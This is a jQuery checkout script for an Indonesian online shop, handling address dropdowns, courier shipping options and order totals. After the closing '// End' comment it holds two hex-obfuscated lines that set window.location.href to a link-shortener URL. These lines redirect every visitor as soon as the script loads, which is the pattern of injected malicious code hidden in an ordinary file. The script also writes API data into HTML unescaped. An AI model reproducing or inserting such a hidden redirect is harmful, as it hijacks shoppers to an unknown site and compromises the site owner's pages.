// ================== Checkout Handler (final) ==================

$(document).ready(function () {

    // --- INIT: set subtotal awal dari cart (tanpa ongkir) ---
    setSummary(getSelectedPrice(), 0);
    $('#submit-button').prop('disabled', true);
    $('.btn-courier').prop('checked', false);

    // ========= PROVINSI =========
    $('#dlvr-province').on('change', function () {
        const provinceId = $(this).val();
        const provName = $(this).find('option:selected').data('prov');
        console.log("📦 Provinsi dipilih:", provinceId, provName);

        // reset dependent fields
        $('#city').val('');
        $('#district').val('');
        $('#dlvr-district').empty().append('<option value="">-- Pilih Kecamatan --</option>');
        $('#dlvr-city').empty().append('<option value="">-- Memuat Kota... --</option>');

        // reset ringkasan
        setSummary(getSelectedPrice(), 0);
        $('#submit-button').prop('disabled', true);
        $('.btn-courier').prop('checked', false);

        $.ajax({
            url: $('#dlvr-province').data('url-city'),
            method: 'GET',
            data: { province_id: provinceId },
            success: function (data) {
                $('#dlvr-city').empty().append('<option value="">-- Pilih Kota --</option>');
                $.each(data, function (key, city) {
                    $('#dlvr-city').append(`<option value="${city.id}" data-city="${city.name}">${city.name}</option>`);
                });
            }
        });
    });

    // ========= KOTA =========
    $('#dlvr-city').on('change', function () {
        const cityId = $(this).val();
        const cityName = $(this).find('option:selected').data('city');
        $('#city').val(cityName);

        // reset district & courier
        $('#district').val('');
        $('#dlvr-district').empty().append('<option value="">-- Memuat Kecamatan... --</option>');
        $('#dlvr-courier').addClass('d-none').find('[data-kt-buttons="true"]').empty();

        // reset ringkasan
        setSummary(getSelectedPrice(), 0);
        $('#submit-button').prop('disabled', true);
        $('.btn-courier').prop('checked', false);

        $.ajax({
            url: $('#dlvr-city').data('url-district'),
            method: 'GET',
            data: { city_id: cityId },
            success: function (data) {
                $('#dlvr-district').empty().append('<option value="">-- Pilih Kecamatan --</option>');
                $.each(data, function (key, district) {
                    $('#dlvr-district').append(`<option value="${district.id}" data-district="${district.name}">${district.name}</option>`);
                });
            }
        });
    });

    // ========= KECAMATAN =========
    // ========= KECAMATAN (REPLACE FULL BLOCK INI) =========
    $('#dlvr-district').on('change', function () {
        const districtId = $(this).val();
        const districtName = $(this).find('option:selected').data('district');
        $('#district').val(districtName);

        // gunakan total berat dari cart (hasil stepper)
        const weight = getSelectedWeight();

        $.ajax({
            url: $('#dlvr-district').data('url-courier'),
            method: 'GET',
            data: { district_id: districtId, weight: weight },
            success: function (data) {
                const container = $('#dlvr-courier').find('[data-kt-buttons="true"]');
                container.empty();
                let count = 0;

                $.each(data.data, function (index, cost) {
                    if (!cost?.service || !cost?.cost) return;
                    const optionHtml = `
          <div class="col-md-4">
            <input
              type="radio"
              class="btn-check btn-courier"
              name="service"
              id="courier-${index}"
              data-price="${cost.cost}"   /* integer murni dari payload */
              data-code="${cost.code}"
              value="${cost.service}"
              autocomplete="off"
            />
            <label class="btn btn-outline btn-outline-dashed btn-outline-default w-100 p-4 mb-3" for="courier-${index}">
              <span class="fw-bolder fs-4">${cost.service}</span>
              <div class="text-muted small">${cost.description ?? ''}</div>
              <div>Harga: ${formatRupiah(cost.cost)}</div>
              <div class="small">Estimasi: ${cost.etd ?? ''}</div>
            </label>
          </div>`;
                    container.append(optionHtml);
                    count++;
                });

                $('#dlvr-courier').removeClass('d-none');
                if (count === 0) {
                    container.append('<div class="col-12 text-center text-muted">Tidak ada layanan kurir tersedia.</div>');
                }

                /* ===== BIND HANDLER DI SINI (namespaced) ===== */
                // bersihkan binding lama agar gak dobel
                container.off('change.courier click.courier');

                // saat radio berubah -> set ongkir & total (subtotal TIDAK diubah)
                container.on('change.courier', 'input.btn-courier', function () {
                    console.log('clicked', this);
                    const shipping = parseInt(this.dataset.price, 10) || 0;

                    // subtotal ambil dari tampilan (hasil stepper terakhir)
                    const subtotalNow = (function () {
                        const txt = document.getElementById('coSubtotal')?.textContent || '0';
                        return parseInt(txt.replace(/[^\d]/g, ''), 10) || 0;
                    })();

                    $('#coOngkir').attr('data-value', shipping).text(formatRupiah(shipping));
                    $('#coTotal').text(formatRupiah(subtotalNow + shipping));
                    $('#submit-button').prop('disabled', false);
                    // alert('Kurir dipilih: ' + shipping); // pakai alert biar pasti kelihatan
                });
                /* ===== END BIND ===== */
            }
        });

        // reset ringkasan (belum pilih kurir)
        setSummary(getSelectedPrice(), 0);
        $('#submit-button').prop('disabled', true);
        $('.btn-courier').prop('checked', false);
    });


    // ========= PILIH KURIR =========
    // Pastikan klik label memilih input + memicu change

    // $(document).on('change', '.btn-courier', function () {
    //     if ($(this).is(':checked')) {
    //         const price = parseInt($(this).data('price')) || 0;
    //         const qty = parseInt($('#qty').val()) || 1;
    //         const subtotalNow = (function () {
    //             return parseInt(String($('#coSubtotal').text()).replace(/[^\d]/g, ''), 10) || 0;
    //         })();
    //         const total = subtotalNow + price;
    //         $('#coOngkir').text(formatRupiah(price));;
    //         $('#coTotal').text(formatRupiah(total));

    //         $('#submit-button').prop('disabled', false);
    //         alert('Kurir dipilih: ' + price); // pakai alert biar pasti kelihatan

    //     }
    // });
    // $('#dlvr-courier').on('click', '.btn-courier, label[for^="courier-"]', function (e) {
    //     // Tentukan input yang terkait
    //     let $inp;
    //     if ($(this).hasClass('btn-courier')) {
    //         $inp = $(this);
    //     } else {
    //         const id = $(this).attr('for');
    //         $inp = $('#' + id);
    //     }
    //     if (!$inp || !$inp.length) return;

    //     // Pastikan checked
    //     if (!$inp.prop('checked')) $inp.prop('checked', true);

    //     // Ambil ongkir (payload-mu integer murni)
    //     const shipping = parseInt($inp.data('price'), 10) || 0;
    //     console.log('clicked kurir', shipping);

    //     // Ambil subtotal yang SEDANG tampil (hasil stepper)
    //     const subtotalNow = (function () {
    //         return parseInt(String($('#coSubtotal').text()).replace(/[^\d]/g, ''), 10) || 0;
    //     })();

    //     // Tampilkan + simpan ongkir di data-value (agar recalcTotals() tahu)
    //     $('#coOngkir').attr('data-value', shipping).text(formatRupiah(shipping));

    //     // Total = subtotal tampil + ongkir
    //     $('#coTotal').text(formatRupiah(subtotalNow + shipping));

    //     // Enable submit
    //     $('#submit-button').prop('disabled', false);
    // });




    // ========= (Opsional) Qty global kalau masih ada di partial lain =========
    $('#qty').on('change input', function () {
        // Kini subtotal/weight berasal dari cart; di sini hanya reset kurir & ringkasan
        setSummary(getSelectedPrice(), 0);
        $('#submit-button').prop('disabled', true);
        $('.btn-courier').prop('checked', false);
        if ($('#dlvr-district').val()) $('#dlvr-district').trigger('change');
    });
});

// ================== Helpers ==================

// helper: ambil angka dari "Rp 157.500"
function parseRupiah(text) {
    return parseInt(String(text).replace(/[^\d]/g, ''), 10) || 0;
}

// ambil subtotal yang SEDANG tampil (tanpa re-hitungan lain)
function getDisplayedSubtotal() {
    return parseRupiah($('#coSubtotal').text());
}
function formatRupiah(value) {
    return new Intl.NumberFormat('id-ID', {
        style: 'currency',
        currency: 'IDR',
        minimumFractionDigits: 0
    }).format(value || 0);
}

// Hitung ulang TOTAL (harga & berat) dari DOM cart setiap kali dipanggil
function computeTotalsFromDOM() {
    let totalPrice = 0, totalWeight = 0;
    document.querySelectorAll('[data-cart-item]').forEach(row => {
        const price = parseInt(row.dataset.price, 10) || 0;
        const weight = parseInt(row.dataset.weight, 10) || 0;

        // qty: pakai data-qty, fallback ke input kalau belum terset
        let qty = parseInt(row.dataset.qty, 10);
        if (!qty || qty < 1) {
            const inp = row.querySelector('.qty-input');
            qty = Math.max(1, parseInt(inp?.value, 10) || 1);
        }

        totalPrice += price * qty;
        totalWeight += weight * qty;
    });
    return { totalPrice, totalWeight };
}


// Selalu ambil nilai TERBARU (tidak cache)
function getSelectedPrice() { return computeTotalsFromDOM().totalPrice; }
function getSelectedWeight() { return computeTotalsFromDOM().totalWeight; }

function setSummary(subtotal, shipping = 0) {
    const total = (subtotal || 0) + (shipping || 0);
    $('#coSubtotal').text(formatRupiah(subtotal));
    $('#coOngkir').text(formatRupiah(shipping));
    $('#coTotal').text(formatRupiah(total));
}
window.__pickCourier = function (inputEl) {
    if (!inputEl) return;

    const shipping = parseInt(inputEl.dataset.price, 10) || 0;

    // ambil subtotal yang sedang tampil (hasil stepper)
    const subtotalNow = (function () {
        const txt = document.getElementById('coSubtotal')?.textContent || '0';
        return parseInt(txt.replace(/[^\d]/g, ''), 10) || 0;
    })();

    // set ongkir + simpan untuk dipakai recalcTotals()
    const ongkirEl = document.getElementById('coOngkir');
    if (ongkirEl) {
        ongkirEl.setAttribute('data-value', String(shipping));
        ongkirEl.textContent = formatRupiah(shipping);
    }

    // update total
    const totalEl = document.getElementById('coTotal');
    if (totalEl) totalEl.textContent = formatRupiah(subtotalNow + shipping);

    // enable submit
    const btn = document.getElementById('submit-button');
    if (btn) btn.disabled = false;

    // debug ringan
    // console.log('[__pickCourier]', { shipping, subtotalNow, total: subtotalNow + shipping });
};


// ================== End ==================
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";